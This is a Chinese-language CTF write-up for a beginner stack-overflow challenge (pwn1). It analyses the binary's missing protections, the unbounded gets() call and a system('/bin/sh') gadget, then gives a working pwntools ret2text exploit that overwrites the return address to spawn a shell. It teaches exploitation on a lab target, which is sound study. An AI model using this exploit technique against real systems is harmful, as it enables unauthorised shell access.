1.1 分析源码
先看下保护措施
[*] '/home/guozhi/桌面/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO GOT表写保护
Stack: No canary found 无金丝雀保护
NX: NX unknown - GNU_STACK missing 内存页 无不可执行保护
PIE: No PIE (0x400000) 无地址随机化
Stack: Executable 栈可执行
RWX: Has RWX segments 有可读可写可执行
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets((__int64)s, (__int64)argv); //主要是这里产生了溢出gets不会限制输入长度
puts(s);
puts("ok,bye!!!");
return 0;
}
可以通过objdump来分析汇编
objdump -d pwn1 -Mintel
0000000000401142 <main>:
401142: 55 push rbp
401143: 48 89 e5 mov rbp,rsp
401146: 48 83 ec 10 sub rsp,0x10
40114a: 48 8d 3d b3 0e 00 00 lea rdi,[rip+0xeb3] # 402004 <_IO_stdin_used+0x4>
401151: e8 da fe ff ff call 401030 <puts@plt>
401156: 48 8d 45 f1 lea rax,[rbp-0xf]
40115a: 48 89 c7 mov rdi,rax
40115d: b8 00 00 00 00 mov eax,0x0
401162: e8 e9 fe ff ff call 401050 <gets@plt>
401167: 48 8d 45 f1 lea rax,[rbp-0xf]
40116b: 48 89 c7 mov rdi,rax
40116e: e8 bd fe ff ff call 401030 <puts@plt>
401173: 48 8d 3d 97 0e 00 00 lea rdi,[rip+0xe97] # 402011 <_IO_stdin_used+0x11>
40117a: e8 b1 fe ff ff call 401030 <puts@plt>
40117f: b8 00 00 00 00 mov eax,0x0
401184: c9 leave
401185: c3 ret
0000000000401186 <fun>:
401186: 55 push rbp
401187: 48 89 e5 mov rbp,rsp
40118a: 48 8d 3d 8a 0e 00 00 lea rdi,[rip+0xe8a] # 40201b <_IO_stdin_used+0x1b>
401191: e8 aa fe ff ff call 401040 <system@plt>
401196: 90 nop
401197: 5d pop rbp
401198: c3 ret
401199: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
可以看到Fun方法中存在System 函数可以用来执行命令 objdump 分析出了rdi,[rip+0xe8a]
的位置是0x40201b 可用通过Pwndbg 分析什么东西写进了SystemCall中
pwndbg> x /s 0x40201b
0x40201b: "/bin/sh"
现在知道shell在哪了只需要通过溢出跳到Fun上执行就行了: Fun的方法的地址是0x401186 现在可以构造Exp了
1.2 Exp构造
1、需要先溢出 2、溢出之后rip的地址要等于Fun的内存地址
from pwn import*
#sh = remote('node4.buuoj.cn', '25257')
sh = process('./pwn1')
#raw_input()
payload = b'a'*0x17+p64(0x40118A)
sh.recvuntil('nput\n')
sh.sendline(payload)
sh.interactive()
char s[15];
首先要溢出这个可用通过gets((__int64)s, (__int64)argv);
这个函数来溢出
char s[15]
需要写入多少可以进行溢出? 可以通过Pwngdb走到char s[15]
看申请了多大空间
0x401156 <main+20> lea rax, [rbp - 0xf] char s[15]
[stack]
00:0000│ rsp rax-1 0x7fffffffdf90 —▸ 0x7fffffffe090 ◂— 0x1
01:0008│-008 0x7fffffffdf98 ◂— 0x0
02:0010│ rbp 0x7fffffffdfa0 ◂— 0x0
03:0018│+008 0x7fffffffdfa8 —▸ 0x7ffff7de7083 (__libc_start_main+243) ◂— mov edi, eax
一共是0x17byte 。 一个push rbp
占8byte ,但是要减一,因为char最后一个是个0 就是0x17 ,正好覆盖到rbp。然后覆盖rip地址就行了覆盖成0x40118A
...